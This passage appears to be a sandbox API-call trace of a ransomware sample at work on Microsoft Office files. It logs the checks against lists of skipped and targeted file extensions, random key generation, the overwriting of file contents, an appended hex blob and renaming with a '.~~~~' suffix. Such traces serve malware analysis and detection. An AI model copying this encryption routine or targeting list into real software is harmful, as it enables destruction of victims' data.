	[0139.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0139.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0139.824] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25981392339) returned 1
	[0139.824] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbcc18070, dwHighDateTime=0x1d60e1e)) 
	[0139.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0139.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0139.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0139.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d880
	[0139.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0139.824] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d880 | out: hHeap=0x300000) returned 1
	[0139.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0139.824] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0139.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3993c8
	[0139.825] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0139.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0139.825] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3993c8 | out: hHeap=0x300000) returned 1
	[0139.825] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0139.825] GetLastError () returned 0x0
	[0139.825] GetLastError () returned 0x0
	[0139.825] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0139.825] GetLastError () returned 0x0
	[0139.826] GetLastError () returned 0x0
	[0139.826] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0139.882] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.882] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0139.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0139.884] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.884] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0139.884] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0139.884] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0139.884] CloseHandle (hObject=0x138) returned 1
	[0139.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b09d0
	[0139.914] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme40.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme40.css.~~~~")) returned 1
	[0139.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b09d0 | out: hHeap=0x300000) returned 1
	[0139.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0139.927] GetLastError () returned 0x0
	[0139.927] RtlWakeConditionVariable () returned 0x0
	[0139.928] GetCurrentThreadId () returned 0x9cc
	[0139.928] GetCurrentThreadId () returned 0x9cc
	[0139.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cf1f0
	[0139.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e490 | out: hHeap=0x300000) returned 1
	[0139.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d730 | out: hHeap=0x300000) returned 1
	[0139.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38e490
	[0139.928] lstrlenW (lpString=".scr") returned 4
	[0139.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".scr") returned 0x0
	[0139.928] lstrlenW (lpString=".cmd") returned 4
	[0139.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".cmd") returned 0x0
	[0139.928] lstrlenW (lpString=".dll") returned 4
	[0139.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".dll") returned 0x0
	[0139.928] lstrlenW (lpString=".bat") returned 4
	[0139.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".bat") returned 0x0
	[0139.929] lstrlenW (lpString=".cpl") returned 4
	[0139.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".cpl") returned 0x0
	[0139.929] lstrlenW (lpString=".sys") returned 4
	[0139.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".sys") returned 0x0
	[0139.929] lstrlenW (lpString=".msc") returned 4
	[0139.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".msc") returned 0x0
	[0139.929] lstrlenW (lpString=".com") returned 4
	[0139.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".com") returned 0x0
	[0139.929] lstrlenW (lpString=".lnk") returned 4
	[0139.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".lnk") returned 0x0
	[0139.929] lstrlenW (lpString=".msp") returned 4
	[0139.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".msp") returned 0x0
	[0139.929] lstrlenW (lpString=".pif") returned 4
	[0139.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".pif") returned 0x0
	[0139.929] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0139.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0139.929] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme46.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0139.931] lstrlenW (lpString=".sqb") returned 4
	[0139.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".sqb") returned 0x0
	[0139.931] lstrlenW (lpString=".ost") returned 4
	[0139.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".ost") returned 0x0
	[0139.931] lstrlenW (lpString=".txt") returned 4
	[0139.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".txt") returned 0x0
	[0139.931] lstrlenW (lpString=".mdt") returned 4
	[0139.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".mdt") returned 0x0
	[0139.931] lstrlenW (lpString=".BDB") returned 4
	[0139.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".BDB") returned 0x0
	[0139.931] lstrlenW (lpString=".eql") returned 4
	[0139.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".eql") returned 0x0
	[0139.931] lstrlenW (lpString=".DBF") returned 4
	[0139.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".DBF") returned 0x0
	[0139.932] lstrlenW (lpString=".EQL") returned 4
	[0139.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".EQL") returned 0x0
	[0139.932] lstrlenW (lpString=".FDB") returned 4
	[0139.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".FDB") returned 0x0
	[0139.932] lstrlenW (lpString=".EDB") returned 4
	[0139.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".EDB") returned 0x0
	[0139.932] lstrlenW (lpString=".DACPAC") returned 7
	[0139.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".DACPAC") returned 0x0
	[0139.932] lstrlenW (lpString=".VHD") returned 4
	[0139.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".VHD") returned 0x0
	[0139.932] lstrlenW (lpString=".DBV") returned 4
	[0139.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".DBV") returned 0x0
	[0139.932] lstrlenW (lpString=".dacpac") returned 7
	[0139.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".dacpac") returned 0x0
	[0139.932] lstrlenW (lpString=".sdf") returned 4
	[0139.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".sdf") returned 0x0
	[0139.932] lstrlenW (lpString=".accdb") returned 6
	[0139.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".accdb") returned 0x0
	[0139.932] lstrlenW (lpString=".DBX") returned 4
	[0139.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".DBX") returned 0x0
	[0139.932] lstrlenW (lpString=".MDT") returned 4
	[0139.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".MDT") returned 0x0
	[0139.932] lstrlenW (lpString=".SQB") returned 4
	[0139.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".SQB") returned 0x0
	[0139.932] lstrlenW (lpString=".vhd") returned 4
	[0139.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".vhd") returned 0x0
	[0139.933] lstrlenW (lpString=".bac") returned 4
	[0139.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".bac") returned 0x0
	[0139.933] lstrlenW (lpString=".mdf") returned 4
	[0139.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".mdf") returned 0x0
	[0139.933] lstrlenW (lpString=".BAK") returned 4
	[0139.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".BAK") returned 0x0
	[0139.933] lstrlenW (lpString=".BAC") returned 4
	[0139.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".BAC") returned 0x0
	[0139.933] lstrlenW (lpString=".dbs") returned 4
	[0139.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".dbs") returned 0x0
	[0139.933] lstrlenW (lpString=".vhdx") returned 5
	[0139.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".vhdx") returned 0x0
	[0139.933] lstrlenW (lpString=".NDF") returned 4
	[0139.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".NDF") returned 0x0
	[0139.933] lstrlenW (lpString=".dat") returned 4
	[0139.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".dat") returned 0x0
	[0139.933] lstrlenW (lpString=".DBS") returned 4
	[0139.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".DBS") returned 0x0
	[0139.933] lstrlenW (lpString=".CKP") returned 4
	[0139.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".CKP") returned 0x0
	[0139.933] lstrlenW (lpString=".edb") returned 4
	[0139.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".edb") returned 0x0
	[0139.933] lstrlenW (lpString=".PST") returned 4
	[0139.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".PST") returned 0x0
	[0139.934] lstrlenW (lpString=".dbf") returned 4
	[0139.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".dbf") returned 0x0
	[0139.934] lstrlenW (lpString=".SQL") returned 4
	[0139.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".SQL") returned 0x0
	[0139.934] lstrlenW (lpString=".pst") returned 4
	[0139.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".pst") returned 0x0
	[0139.934] lstrlenW (lpString=".dbv") returned 4
	[0139.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".dbv") returned 0x0
	[0139.934] lstrlenW (lpString=".SDF") returned 4
	[0139.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".SDF") returned 0x0
	[0139.934] lstrlenW (lpString=".dtxs") returned 5
	[0139.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".dtxs") returned 0x0
	[0139.934] lstrlenW (lpString=".db3") returned 4
	[0139.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".db3") returned 0x0
	[0139.934] lstrlenW (lpString=".OST") returned 4
	[0139.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".OST") returned 0x0
	[0139.934] lstrlenW (lpString=".dbx") returned 4
	[0139.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".dbx") returned 0x0
	[0139.934] lstrlenW (lpString=".DB3") returned 4
	[0139.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".DB3") returned 0x0
	[0139.934] lstrlenW (lpString=".DAT") returned 4
	[0139.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".DAT") returned 0x0
	[0139.935] lstrlenW (lpString=".VHDX") returned 5
	[0139.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".VHDX") returned 0x0
	[0139.935] lstrlenW (lpString=".ndf") returned 4
	[0139.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".ndf") returned 0x0
	[0139.935] lstrlenW (lpString=".DB") returned 3
	[0139.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".DB") returned 0x0
	[0139.935] lstrlenW (lpString=".sql") returned 4
	[0139.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".sql") returned 0x0
	[0139.935] lstrlenW (lpString=".MYD") returned 4
	[0139.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".MYD") returned 0x0
	[0139.935] lstrlenW (lpString=".DBT") returned 4
	[0139.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".DBT") returned 0x0
	[0139.935] lstrlenW (lpString=".ACCDB") returned 6
	[0139.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".ACCDB") returned 0x0
	[0139.935] lstrlenW (lpString=".fdb") returned 4
	[0139.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".fdb") returned 0x0
	[0139.935] lstrlenW (lpString=".bak") returned 4
	[0139.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".bak") returned 0x0
	[0139.935] lstrlenW (lpString=".myd") returned 4
	[0139.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".myd") returned 0x0
	[0139.936] lstrlenW (lpString=".DTXS") returned 5
	[0139.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".DTXS") returned 0x0
	[0139.936] lstrlenW (lpString=".ckp") returned 4
	[0139.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".ckp") returned 0x0
	[0139.936] lstrlenW (lpString=".dbt") returned 4
	[0139.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".dbt") returned 0x0
	[0139.936] lstrlenW (lpString=".db") returned 3
	[0139.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".db") returned 0x0
	[0139.936] lstrlenW (lpString=".TXT") returned 4
	[0139.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".TXT") returned 0x0
	[0139.936] lstrlenW (lpString=".MDF") returned 4
	[0139.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".MDF") returned 0x0
	[0139.936] lstrlenW (lpString=".bdb") returned 4
	[0139.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".bdb") returned 0x0
	[0139.936] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0139.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0139.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0139.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0139.936] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0139.938] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0139.938] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0139.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0139.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0139.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0139.938] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25992825885) returned 1
	[0139.938] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbcd22a10, dwHighDateTime=0x1d60e1e)) 
	[0139.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0139.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0139.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0139.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d730
	[0139.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0139.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d730 | out: hHeap=0x300000) returned 1
	[0139.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0139.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0139.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e5e0
	[0139.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0139.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0139.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e5e0 | out: hHeap=0x300000) returned 1
	[0139.939] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0139.939] GetLastError () returned 0x0
	[0139.940] GetLastError () returned 0x0
	[0139.940] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0139.940] GetLastError () returned 0x0
	[0139.940] GetLastError () returned 0x0
	[0139.941] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0139.946] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.946] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0139.947] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0139.947] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.947] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
